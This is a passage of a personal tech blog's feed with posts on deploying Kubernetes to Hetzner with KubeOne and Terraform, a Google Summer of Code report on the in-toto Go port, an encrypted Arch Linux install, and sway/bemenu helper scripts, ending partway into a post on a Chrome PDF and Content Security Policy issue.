<ul>
<li>A Hetzner Cloud account</li>
<li><a href="https://github.com/kubermatic/kubeone">KubeOne</a></li>
<li><a href="https://www.terraform.io/">Terraform</a></li>
<li>Basic understanding of Kubernetes and Linux</li>
</ul>
<p>The first and the last is something I assume that you already have. Installing KubeOne and Terraform should be easy on Arch Linux.
You can just install it from the repositories (I am maintaining them hrhr):</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ pacman -Syu terraform kubeone
</code></pre></div><p>Furthermore I suggest that you clone the KubeOne repository. It has some great examples for Hetzner and gives you a first insight on what you can do
with it and what not:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ git clone https://github.com/kubermatic/kubeone
</code></pre></div><p>If you are in the Hetzner Cloud console I suggest that you create a new project for playing around (Just in case we screw things up).
For this new project you need a new API token. Again, I assume that you know how to do this. The token needs read <strong>and</strong> write permissions.
First we move in the freshly cloned repository and investigate the files in it:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ <span class="nb">cd</span> kubeone/examples/terraform/hetzner
$ ls
.rw-r--r-- 2.6k chris <span class="m">17</span> Dec  <span class="m">2020</span> main.tf
.rw-r--r-- 2.4k chris <span class="m">17</span> Dec  <span class="m">2020</span> output.tf
.rw-r--r-- 1.8k chris <span class="m">17</span> Dec  <span class="m">2020</span> README.md
.rw-r--r-- 1.9k chris <span class="m">25</span> Jan 22:01 variables.tf
.rw-r--r--  <span class="m">131</span> chris <span class="m">17</span> Dec  <span class="m">2020</span> versions.tf
</code></pre></div><p>The <code>README.md</code> file gives us a brief explanation about inputs and outputs and gives us hints about loadbalancers.
The <code>versions.tf</code> file tells us the required Terraform version and the required providers. In our case the cloud provider is hcloud.
The <code>variables.tf</code> file defines all variables for our new cluster infrastructure.
The <code>output.tf</code> file defines the output of Terraform. This will get important later, because we will use the output as direct input
for KubeOne. The <code>main.tf</code> file hides the core logic behind all of this. The <code>main.tf</code> file is reponsible for bootstrapping the infrastructure.
In this file we see networks, ssh keys, loadbalancers and virtual machines defined. I do not want to explain Terraform in detail here.
If you are interested in this I suggest you have a look on the excellent <a href="https://registry.terraform.io/providers/hetznercloud/hcloud/latest/docs">terraform registry</a> documentation. It gives you a nice introduction
for each resource. You do not have to edit one of these files. They are ready to go as they are.</p>
<p>For provisioning the infrastructure we can do the following:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash">$ <span class="nb">export</span> <span class="nv">HCLOUD_TOKEN</span><span class="o">=</span><span class="s2">&#34;&lt;YOUR HCLOUD TOKEN&gt;&#34;</span>
$ terraform init
$ terraform apply
</code></pre></div><p><code>terraform apply</code> will ask you for a cluster name and will prompt you for confirmation later. After only a few seconds (wow),
you should see a JSON configuration in green letters. This means everything has been successfuly and the infrastructure is
starting right now. You might have noticed the <code>terraform.tfstate</code> file already.
Do not lose it, it stores the status quo of your infrastructure configuration. Next we can create our first <code>kubeone.yaml</code> configuration
file as input for KubeOne:</p>
<div class="highlight"><pre class="chroma"><code class="language-yaml" data-lang="yaml"><span class="k">apiVersion</span><span class="p">:</span><span class="w"> </span>kubeone.io/v1beta1<span class="w">
</span><span class="w"></span><span class="k">kind</span><span class="p">:</span><span class="w"> </span>KubeOneCluster<span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">versions</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">kubernetes</span><span class="p">:</span><span class="w"> </span><span class="s1">&#39;1.19.3&#39;</span><span class="w">
</span><span class="w">
</span><span class="w"></span><span class="k">cloudProvider</span><span class="p">:</span><span class="w">
</span><span class="w">  </span><span class="k">hetzner</span><span class="p">:</span><span class="w"> </span>{}<span class="w">
</span><span class="w">  </span><span class="k">external</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></code></pre></div><p>Pretty simple, isn&rsquo;t it? If this is done we save our json output into a json file via: <code>terraform output -json &gt; output.json</code>.
Now we get to our final line: <code>kubeone apply --manifest kubeone.yaml --tfjson output.json</code>. This line will apply the
KubeOne configuration to our current Terraform configuration and install the cluster in our infrastructure.
Your output should be similar to this one here:</p>
<pre><code class="language-log" data-lang="log">INFO[22:38:58 CET] Determine hostname...
INFO[22:38:59 CET] Determine operating system...
INFO[22:39:00 CET] Running host probes...
The following actions will be taken:
Run with --verbose flag for more information.
	+ initialize control plane node &quot;avency-control-plane-1&quot; (192.168.0.4) using 1.19.3
	+ join control plane node &quot;avency-control-plane-2&quot; (192.168.0.3) using 1.19.3
	+ join control plane node &quot;avency-control-plane-3&quot; (192.168.0.5) using 1.19.3
	+ ensure machinedeployment &quot;avency-pool1&quot; with 1 replica(s) exists

Do you want to proceed (yes/no): yes

INFO[22:43:14 CET] Determine hostname...
INFO[22:43:14 CET] Determine operating system...
INFO[22:43:14 CET] Installing prerequisites...
INFO[22:43:14 CET] Creating environment file...                  node=116.203.150.238 os=ubuntu
INFO[22:43:14 CET] Creating environment file...                  node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Creating environment file...                  node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.202.241 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.225.170 os=ubuntu
INFO[22:43:14 CET] Configuring proxy...                          node=116.203.150.238 os=ubuntu
INFO[22:43:14 CET] Installing kubeadm...                         node=116.203.150.238 os=ubuntu
....
INFO[22:49:54 CET] Installing machine-controller...
INFO[22:49:57 CET] Installing machine-controller webhooks...
INFO[22:49:58 CET] Waiting for machine-controller to come up...
INFO[22:50:34 CET] Creating worker machines...
</code></pre><p>KubeOne could take a few minutes for setting everything up, but in the end you should be greeted with a <code>*-kubeconfig</code> file
in the current directory. I suggest you setup a <code>configs</code> directory in <code>$HOME/.kube/configs</code>. This way you can store
every Kubernetes config for multiple clusters in one directory. Additionally you should set this environment variable
in your <code>zshrc</code> or <code>bashrc</code> configuration: <code>KUBECONFIG=&quot;$(find ~/.kube/configs/ -type f -exec printf '%s:' '{}' +)&quot;</code>.
It will load all Kubernetes configuration files and construct a path from them. Big thanks to my friend Morre for the tip.</p>
<p>If you moved the config file to the right direction and restarted your shell you should be able to list all nodes: <code>kubectl get nodes</code>.
The biggest advantage of KubeOne over the previous mentioned method is that you can easily scale your cluster up and down.
This works, because KubeOne ships a <code>machine-controller</code> for deploying or deleting worker nodes.
For scaling your cluster up and down just modify the <code>machinedeployment</code> resource in the <code>kube-system</code> namespace or
use the <code>kubectl scale</code> command: <code>kubectl scale -n kube-system machinedeployment &lt;machinedeployment-name&gt; --replicas=5</code>.
You are even able to scale your cluster to zero: <code>kubectl scale -n kube-system machinedeployment &lt;machinedeployment-name&gt; --replicas=0</code>.</p>
<p>Take in mind that you need modify your <code>output.tf</code> or KubeOne configuration manifest if you scale up or down, otherwise you might end up
deleting/adding resources you do not want. Apropos deleting, if you want to get rid of everything and this article sucks just do a <code>terraform destroy</code>.
This should destroy all configured resources that got created via Terraform. Playing around with this for multiple hours cost me around 20 cent.
I hope you do not forget to delete your resources after playing around. Luckily Hetzner is not that expensive and you should not wake up with a €2000 bill
the next day (not looking at you Amazon AWS&hellip;).</p>
<p>Next time we will dive into bootstrapping our first Kubernetes cluster without machine-controller and static worker nodes.</p>
<p>Here are some additional links that were helpful:</p>
<ul>
<li><a href="https://docs.kubermatic.com/kubeone/v1.0/">https://docs.kubermatic.com/kubeone/v1.0/</a></li>
<li><a href="https://registry.terraform.io/providers/hetznercloud/hcloud/latest/docs">https://registry.terraform.io/providers/hetznercloud/hcloud/latest/docs</a></li>
<li><a href="https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/">https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/</a></li>
<li><a href="https://www.kubermatic.com/blog/kubeone-oidc-authentication-audit-logging/">https://www.kubermatic.com/blog/kubeone-oidc-authentication-audit-logging/</a></li>
</ul>
]]></content></item><item><title>Google Summer of Code 2020</title><link>https://shibumi.dev/posts/google-summer-of-code-2020/</link><pubDate>Mon, 31 Aug 2020 02:03:00 +0200</pubDate><guid>https://shibumi.dev/posts/google-summer-of-code-2020/</guid><description>Intro I spent the last three to four months working on the open source project in-toto as part of my Google Summer of Code stipend at the Cloud Native Computing Foundation (CNCF). Followers of my blog might have already read about in-toto. If you do not know the project, I suggest you have a look on my introduction to in-toto. The introduction article has been written as part of my Google Summer of Code stipend and gives a good overview about the project and what its objectives are.</description><content type="html"><![CDATA[<p><img src="/img/in-toto-horizontal-color-white.png" alt="in-toto logo"></p>
<h2 id="intro">Intro</h2>
<p>I spent the last three to four months working on the open source project <a href="https://in-toto.io">in-toto</a> as part
of my Google Summer of Code stipend at the Cloud Native Computing Foundation (CNCF).
Followers of my blog might have already read about in-toto. If you do not know the project, I
suggest you have a look on my <a href="/posts/introduction-to-in-toto/">introduction to in-toto</a>.
The introduction article has been written as part of my Google Summer of Code stipend and gives
a good overview about the project and what its objectives are.</p>
<h2 id="my-challenge">My challenge</h2>
<p>The main objective of my Google Summer of Code stipend has been to port in-toto run functionality
from the in-toto Python reference implementation to the Go implementation. The in-toto run functionality
is responsible for generating in-toto link data. In-toto links are files, that represent a step
in a software supply chain. Each of these steps can be signed and later verified.
Adding in-toto run functionality to the Go implementation has been tracked in the following Github issues:</p>
<ul>
<li><a href="https://github.com/in-toto/in-toto-golang/issues/54">https://github.com/in-toto/in-toto-golang/issues/54</a></li>
<li><a href="https://github.com/in-toto/in-toto-golang/issues/30">https://github.com/in-toto/in-toto-golang/issues/30</a></li>
<li><a href="https://github.com/in-toto/in-toto-golang/issues/27">https://github.com/in-toto/in-toto-golang/issues/27</a></li>
</ul>
<p>The following key results were to be achieved:</p>
<ul>
<li>Signing generated link data via signature algorithms as specified in the <a href="https://github.com/in-toto/docs/blob/master/in-toto-spec.md">in-toto specification</a></li>
<li>Full support for RSA-PSS, ED25519 and ECDSA.</li>
<li>Generating link files</li>
</ul>
<p>My merged pull request, that addresses these key results can be found here: <a href="https://github.com/in-toto/in-toto-golang/pull/56">https://github.com/in-toto/in-toto-golang/pull/56</a></p>
<p>During my journey I did a lot more than that. Implementing the above requirements led us (my mentors and me) to a few other issues.
These issues were so significant that we decided to solve these issues, while working on the actual in-toto run implementation.
The following listing shall give a brief insight on what I have worked on additionally.</p>
<ul>
<li>Cleanup code indentation and multi-line comments:
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/18">#18</a></li>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/51">#51</a></li>
</ul>
</li>
<li>Handling unhandled errors:
<ul>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/52">#52</a></li>
</ul>
</li>
<li>Reviving the in-toto symlink functionality PR and finishing it (this was a dependency for our in-toto run functionality):
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/32">#32</a></li>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/55">#55</a></li>
</ul>
</li>
<li>Handling excess data returned by <code>pem.Decode</code>:
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/14">#14</a></li>
<li>PR (fixied within the main objective PR <a href="https://github.com/in-toto/in-toto-golang/pull/56">#56</a>)</li>
</ul>
</li>
<li>Keeping OS interoperability via using the decoded PEM block, instead of raw PEM bytes:
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/75">#75</a></li>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/76">#76</a></li>
</ul>
</li>
</ul>
<p>The in-toto Go implementation is in direct relationship to the <a href="https://github.com/in-toto/in-toto">in-toto Python implementation</a> and the <a href="https://github.com/in-toto/docs/blob/master/in-toto-spec.md">in-toto specification</a>. Therefore it is not surprising, that I have also addressed a few inconsistencies
in the specification and the Python implementation.</p>
<ul>
<li>Fixing over-importing in the in-toto Python implementation:
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto/issues/378">#378</a></li>
<li>PR <a href="https://github.com/in-toto/in-toto/pull/379">#379</a></li>
</ul>
</li>
<li>Fixing key word inconsistencies in the in-toto specification:
<ul>
<li>PR <a href="https://github.com/in-toto/docs/pull/29">#29</a></li>
</ul>
</li>
<li>Fixing a wrong data type for the return-value in the in-toto specification:
<ul>
<li>PR <a href="https://github.com/in-toto/docs/pull/36">#36</a></li>
</ul>
</li>
</ul>
<h2 id="additional-work">Additional work</h2>
<p>Additionally, the following issues have been uncovered during the development process:</p>
<ul>
<li>key format inconsistency in securesystemslib: Issue <a href="https://github.com/secure-systems-lab/securesystemslib/issues/251">#251</a></li>
<li>compare the way we store symlinks in our link metadata to the reference implementation: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/57">#57</a></li>
<li>Hardware Security Module (HSM) support: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/61">#61</a></li>
<li>Test interoperability with the Python implementation via subprocess calls: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/63">#63</a></li>
<li>ecdsa curve sanity checks: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/65">#65</a></li>
<li>validate functions, specifically key validations: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/68">#68</a></li>
<li>In-toto record functionality: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/69">#69</a></li>
<li>Do not share state in test functions: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/71">#71</a></li>
<li>Use Go Linter for CI: Issue <a href="https://github.com/in-toto/in-toto-golang/issues/74">#74</a></li>
</ul>
<p>These issues are already fixed or are on the verge of being fixed:</p>
<ul>
<li>Moving our subSetCheck function to the utils.Set interface
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/66">#66</a></li>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/73">#73</a></li>
</ul>
</li>
<li>Support for Go 1.15 (moving to ecdsa.SignASN1 + fixing testMain)
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/60">#60</a> and <a href="https://github.com/in-toto/in-toto-golang/issues/64">#64</a></li>
<li>PR (not merged yet) <a href="https://github.com/in-toto/in-toto-golang/pull/70">#70</a></li>
</ul>
</li>
<li>Add Logo + fix Readme (because who does not like fancy logos?!)
<ul>
<li>PR <a href="https://github.com/in-toto/in-toto-golang/pull/77">#77</a></li>
</ul>
</li>
<li>Add Github Actions support
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/62">#62</a></li>
<li>PR (not merged yet) <a href="https://github.com/in-toto/in-toto-golang/pull/72">#72</a></li>
</ul>
</li>
<li>Implement multi hash support
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/31">#31</a> and <a href="https://github.com/in-toto/in-toto-golang/issues/67">#67</a></li>
<li>PR (draft) <a href="https://github.com/in-toto/in-toto-golang/pull/78">#78</a></li>
</ul>
</li>
<li>Gitignore like exclude patterns
<ul>
<li>Issue <a href="https://github.com/in-toto/in-toto-golang/issues/33">#33</a></li>
<li>PR (draft) <a href="https://github.com/in-toto/in-toto-golang/pull/53">#53</a></li>
</ul>
</li>
</ul>
<h2 id="my-personal-highlights">My personal highlights</h2>
<p>During the Google Summer of Code my personal highlights were <a href="https://go-review.googlesource.com/c/go/+/240008">finding and submitting a patch for a tiny bug in Go&rsquo;s crypto/rsa library</a> and attending the Kubecon 2020.</p>
<h2 id="what-did-i-learn">What did I learn?</h2>
<p>During Google Summer of Code I had a lot of fun working on the CNCF project
in-toto, but did I also learn something? The answer is clearly <strong>yes</strong>.  Before
Google Summer of Code I have contributed already to open source projects, but
these contributions were mostly small bug fixes, reporting bugs or my very
system and security focused work at Arch Linux.  It has been a dream since long
to contribute more than just a few lines of code to a project, but in the past
I had difficulties to get into such a project. The Google Summer of Code was my
first successful try to deep-dive into a foreign code base and to contribute
more than just a few lines of code. This experience definitely increased my
skills in reading foreign code, getting faster familiar with a foreign
code-base and communicating with project developers. Furthermore, in-toto
challenged my security skills and lead to a much wider understanding of signing
algorithms such like ED25519, RSA-PSS or ECDSA and key formats such like PKCS1,
PKCS8 or PEM. This project increased my security awareness in terms of
cryptography significantly.</p>
<h2 id="plans-for-the-future">Plans for the future</h2>
<p>Well, I think I totally fell in love with the project. Not only did I never
join such a welcoming and interesting community, I also finally found a
project that I think is important, interesting and challenging at the same
time. Moreover I really think, that my future career goals will come one step
closer with this project. The Go implementation and the near to the CNCF will
definitely help me in increasing my Site Reliability Skills.</p>
<h2 id="special-thanks">Special thanks</h2>
<p>I do not want to finish, before honouring my four mentors Lukas Pühringer,
Justin Cappos, Santiago Torres-Arias and Trishank Karthik Kuppusamy. They
always reacted quickly when needed and they always gave me the right hints,
when I had difficulties understanding the specification or the code base.
Especially the work with Lukas was very enjoyable and I look forward to a lot
more interesting discussions in future pull requests and issues. Santiago has
been always there for me, when I did a few hours too much and slipped into a
different timezone. The timezone difference was definitely a bonus and not a
malus this time. Trishank was a person I could always count on. He supported me
in many ways and gave me hints when I have encountered a problem. Furthermore
we had a few interesting discussions around the in-toto specification, the
securesystemslib and their relationship to TUF. I am pretty sure, this will be
not the last discussions we had about the in-toto specification.</p>
]]></content></item><item><title>How I install Arch Linux</title><link>https://shibumi.dev/posts/how-i-install-arch-linux/</link><pubDate>Wed, 19 Aug 2020 15:51:25 +0200</pubDate><guid>https://shibumi.dev/posts/how-i-install-arch-linux/</guid><description>Recently I have installed Arch Linux on a shiny new Lenovo Thinkpad T14 AMD. This blog article shall mainly be a reminder for me for the future, but feel free to use anything useful in it.
I did not install Arch Linux for a long time (nearly over 8 years, lol). Therefore I never saw a need to automate an Arch Linux installation. I am aware, that there are solutions for automated Arch Linux installation.</description><content type="html"><![CDATA[<p>Recently I have installed Arch Linux on a shiny new Lenovo Thinkpad T14 AMD.
This blog article shall mainly be a reminder for me for the future,
but feel free to use anything useful in it.</p>
<p>I did not install Arch Linux for a long time (nearly over 8 years, lol).
Therefore I never saw a need to automate an Arch Linux installation.
I am aware, that there are solutions for automated Arch Linux installation.
This guide, however, will be a manually guide (I will hopefully automate this later.. HAHA).</p>
<p>The T14 has a 512GB NVMe (this is over 3x more than my X220 with 120GB SSD) and 32GB RAM.
Therefore I have decided for the following partition schema.</p>
<table>
<thead>
<tr>
<th>Partition</th>
<th>Size</th>
<th>Usage</th>
</tr>
</thead>
<tbody>
<tr>
<td>nvme0n1p1</td>
<td>1 GB</td>
<td>ESP</td>
</tr>
<tr>
<td>nvme0n1p2</td>
<td>32GB</td>
<td>swap</td>
</tr>
<tr>
<td>nvme0n1p3</td>
<td>479G</td>
<td>System</td>
</tr>
</tbody>
</table>
<p>Next step was creating the filesystems:</p>
<pre><code># mkfs.vfat -F 32 /dev/nvme0n1p1
# cryptsetup luksFormat /dev/nvme0n1p3
# cryptsetup luksOpen /dev/nvme0n1p3 system
# mkfs.ext4 /dev/mapper/system
</code></pre><p>I left the swap partition out, because I installed it later, when the base system was there.
As next step I mounted everything:</p>
<pre><code># mount /dev/mapper/system /mnt
# mkdir /mnt/boot
# mount /dev/nvme0n1p1 /mnt/boot
</code></pre><p>The next step created my base system, with everything what i need.</p>
<pre><code># pacstrap /mnt base linux linux-firmware sway iwd alacritty chromium fwupd \
	hplip w3m slurp pacman-contrib ttf-baekmuk noto-fonts-emoji hugo skim \
	man-db archlinux-contrib cups ttf-sazanami ttf-inconsolata noto-fonts \
	fuse2 fuse3 wl-clipboard gcr pinentry pcsclite yubico-c yubico-c-client \
	yubico-pam yubikey-manager yubikey-personalization yubikey-touch-detector \
	zsh-syntax-highlighting weechat pavucontrol xorg-xev brightnessctl \
	mlocate xorg-server-xwayland grim wf-recorder exa tlp acpi \
	sof-firmware amd-ucode tmux sudo go zsh git mako htop restic \
	gcc libnotify base-devel swaylock bemenu neovim gopass pulseaudio pamixer \
# genfstab -p /mnt &gt;&gt; /mnt/etc/fstab
</code></pre><p>For my swap partition I entered this line into my fstab file:</p>
<pre><code># /dev/mapper/swap UUID=a4d116ea-450e-4902-8a9d-b8a829c87d35
/dev/mapper/swap          	none      	swap      	defaults  	0 0
</code></pre><p>And this line here into /etc/crypttab:</p>
<pre><code>swap		PARTUUID=c89118d6-5d50-bb4e-9c31-b55205861134				/dev/urandom		swap,cipher=aes-xts-plain64,size=256
</code></pre><p>Where PARTUUID=c89118d6-5d50-bb4e-9c31-b55205861134 is the partition UUID of /dev/nvme0n1p1.
Next I chrooted into the system and generated locales, mkinitcpio, boot loader etc.</p>
<pre><code># nvim /etc/locale.gen
# locale-gen
# nvim /etc/mkinitcpio.conf
</code></pre><p>My /etc/mkinitcpio.conf uses systemd hooks:</p>
<pre><code>HOOKS=(base systemd keyboard autodetect modconf block sd-vconsole sd-encrypt filesystems fsck)
</code></pre><p>Finally I set up my kernel, the bootloader and set a new root password and started into the new system:</p>
<pre><code># mkinitcpio -p linux
# mkdir -p /boot/loader/entries
# nvim /boot/loader/loader.conf
# nvim /boot/loader/entries/motoko.conf
# passwd root
# bootctl install
# bootctl status
# exit
# umount /mnt/boot
# umount /mnt
# cryptsetup luksClose system
# reboot
</code></pre><p>My loader.conf:</p>
<pre><code>default motoko.conf
editor no
</code></pre><p>My motoko.conf:</p>
<pre><code>title motoko
linux  vmlinuz-linux
initrd amd-ucode.img
initrd initramfs-linux.img
options rd.luks.uuid=6de4dec9-6d2e-448f-a743-591194eeae8d rd.luks.options=discard rd.luks.name=6de4dec9-6d2e-448f-a743-591194eeae8d=system root=UUID=b80387fc-41de-424a-9ec7-3abc7cb14d8d rw
</code></pre><p>After rebooting, I did a few other things, just like setting up a new user, cloning my dotfiles repository into the users home, setting timedatectl,
systemd-nspawn and systemd-resolved and more.</p>
<p>I hope this short guide gives you a rope to follow and I hope my way of installation will not be invalid in the next 10 years.</p>
]]></content></item><item><title>Wayland in 2020</title><link>https://shibumi.dev/posts/wayland-in-2020/</link><pubDate>Thu, 28 May 2020 15:44:27 +0200</pubDate><guid>https://shibumi.dev/posts/wayland-in-2020/</guid><description>It is nearly a year since my last blog article about Wayland on Linux. Thus I thought it is time for an update on how my desktop with sway developed. What happened?
I changed my file sharing scripts I moved from rofi to bemenu I changed my scripts, that were based on rofi For my file sharing scripts I introduced a new helper script with the generic name share.</description><content type="html"><![CDATA[<p>It is nearly a year since my last blog article about Wayland on Linux. Thus I thought it is time for an update on how
my desktop with sway developed. What happened?</p>
<ul>
<li>I changed my file sharing scripts</li>
<li>I moved from rofi to bemenu</li>
<li>I changed my scripts, that were based on rofi</li>
</ul>
<p>For my file sharing scripts I introduced a new helper script with the generic name <code>share</code>.
<code>share</code> just uploads a file via SFTP to one of my servers and returns a link to this file.
I decided to move away from using <a href="https://filebin.net/">file</a>, because I would like to be
in control over my data. My old filebin provider <a href="https://paste.xinu.at">https://paste.xinu.at</a>
has deleted uploaded files after a while. The <code>share</code> script depends on <code>wl-copy</code>, <code>rsync</code>, <code>openssh</code>
and <code>libnotify</code>. If you want to have a look on <code>share</code> and the other scripts, check out my <a href="https://github.com/shibumi/dotfiles/tree/master/.local/bin">dotfiles</a>.</p>
<p>The next topic is rofi. I was actually very happy with rofi, but I nevertheless
decided to went away from it, because there is still no native Wayland support.
So I had a look on the alternatives <a href="https://hg.sr.ht/~scoopta/wofi">wofi</a> and
<a href="https://github.com/Cloudef/bemenu">bemenu</a>. Wofi looked nice, but I got turned
down by their GTK dependency and their style configuration via CSS. However bemenu was not
100% pain free, too. Bemenu is unable to spawn on the current focused sway workspace.
This means, if you use a multi monitor setup bemenu will always appear on the same screen.</p>
<p>Bemenu has a parameter flag for choosing the right sway monitor, but the format is different to the one that sway uses.
Luckily I managed to find a solution for it. When looking over <code>swaymsg -r -t get_outputs</code> I realized that the
monitor names have a specific format: <code>VGA-1</code>, <code>HDMI-A-3</code>&hellip;</p>
<p>I also realized that the last number in this format is the bemenu monitor index I need. The solution is a small python script,
that retrieves the current focused monitor name and extracts the last number via regex:</p>
<div class="highlight"><pre class="chroma"><code class="language-python" data-lang="python"><span class="ch">#!/usr/bin/env python</span>

<span class="kn">import</span> <span class="nn">asyncio</span>
<span class="kn">from</span> <span class="nn">i3ipc.aio</span> <span class="kn">import</span> <span class="n">Connection</span>
<span class="kn">import</span> <span class="nn">re</span>


<span class="n">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">i3</span> <span class="o">=</span> <span class="n">await</span> <span class="n">Connection</span><span class="p">()</span><span class="o">.</span><span class="n">connect</span><span class="p">()</span>
    <span class="n">outputs</span> <span class="o">=</span> <span class="n">await</span> <span class="n">i3</span><span class="o">.</span><span class="n">get_outputs</span><span class="p">()</span>
    <span class="k">for</span> <span class="n">output</span> <span class="ow">in</span> <span class="n">outputs</span><span class="p">:</span>
        <span class="k">if</span> <span class="n">output</span><span class="o">.</span><span class="n">focused</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">output</span><span class="o">.</span><span class="n">name</span>

<span class="n">focus</span> <span class="o">=</span> <span class="n">asyncio</span><span class="o">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
<span class="n">match</span> <span class="o">=</span> <span class="n">re</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="s1">&#39;.*-(\d)&#39;</span><span class="p">,</span> <span class="n">focus</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">match</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
</code></pre></div><p>Hint: This unfortunately only works for a monitor setup with less than 10 monitors. If you have more (wtf?), just change the regex.</p>
<p>I am invoking the python script directly as bemenu parameter flag as: <code>bemenu -m &quot;$(script)&quot;</code>.</p>
<p>With moving from rofi to bemenu, I also had to change my password and oath scripts.
My oath script is new:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>ykman oath list <span class="p">|</span> _bemenu -p <span class="s2">&#34;oath&#34;</span><span class="k">)</span>
<span class="nv">oath</span><span class="o">=</span><span class="k">$(</span>ykman oath code -s <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span>
<span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$oath</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy --paste-once
</code></pre></div><p>It spawns up bemenu for selecting an oath resource that is saved on my Yubikey and copies it into my Wayland clipboard.
Note that I use <code>--paste-once</code> as parameter for <code>wl-copy</code>. With this flag I am able to paste this OATH code only once. The clipboard will get
cleaned up afterwards (very useful for secrets, passwords, etc). The downside of <code>wl-copy --paste-once</code> is that you can only paste to Wayland
applications with it (this is annoying if you are using Chromium, like me).</p>
<p>My bemenu-gopass script uses the same mechanism:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="nb">source</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">HOME</span><span class="si">}</span><span class="s2">/.local/share/scripts/bemenu&#34;</span>

<span class="nv">input</span><span class="o">=</span><span class="k">$(</span>gopass list -f <span class="p">|</span> _bemenu -p <span class="s2">&#34;gopass&#34;</span><span class="k">)</span>
<span class="nb">printf</span> <span class="s1">&#39;%s&#39;</span> <span class="s2">&#34;</span><span class="k">$(</span>gopass show -o <span class="s2">&#34;</span><span class="nv">$input</span><span class="s2">&#34;</span><span class="k">)</span><span class="s2">&#34;</span> <span class="p">|</span> wl-copy --paste-once
</code></pre></div><p><code>_bemenu</code> is a small function with my custom bemenu command, because bemenu has no configuration file yet:</p>
<div class="highlight"><pre class="chroma"><code class="language-bash" data-lang="bash"><span class="cp">#!/bin/bash
</span><span class="cp"></span>
_bemenu<span class="o">()</span> <span class="o">{</span>
  bemenu -i --hb <span class="s2">&#34;#151718&#34;</span> --tb <span class="s2">&#34;#151718&#34;</span> --nb <span class="s2">&#34;#151718&#34;</span> --hf <span class="s2">&#34;#9FCA56&#34;</span> --tf <span class="s2">&#34;#9FCA56&#34;</span> --fb <span class="s2">&#34;#151718&#34;</span> --fn <span class="s2">&#34;font pango:inconsolata 8&#34;</span> -m <span class="s2">&#34;</span><span class="k">$(</span>swayfocused<span class="k">)</span><span class="s2">&#34;</span> --no-exec <span class="s2">&#34;</span><span class="nv">$@</span><span class="s2">&#34;</span>
<span class="o">}</span>
</code></pre></div><p><code>swayfocused</code> is the name of my python script that I&rsquo;ve mentioned above.</p>
]]></content></item><item><title>Fix PDF Display on Chrome</title><link>https://shibumi.dev/posts/fix-pdf-display-on-chrome/</link><pubDate>Tue, 19 May 2020 15:55:30 +0200</pubDate><guid>https://shibumi.dev/posts/fix-pdf-display-on-chrome/</guid><description>For many months I had a weird issue with displaying PDFs in chrome on my website. I always thought this is a browser issue and would be fixed soon, but actually it was an issue with my Content Security Policy (CSP).
If you ever stumbled upon my CV you might have looked on this:
Finally I could fix this, after finding this Chrome issue here:
https://bugs.chromium.org/p/chromium/issues/detail?id=271452
The problem got triggered via my strong CSP.</description><content type="html"><![CDATA[<p>For many months I had a weird issue with displaying PDFs in chrome on my website.
I always thought this is a browser issue and would be fixed soon, but actually it was
an issue with my Content Security Policy (CSP).</p>
<p>If you ever stumbled upon my CV you might have looked on this:</p>
<p><img src="/img/pdf-issue.png" alt="screenshot of the PDF, that is not displayed correctly"></p>
<p>Finally I could fix this, after finding this Chrome issue here:</p>
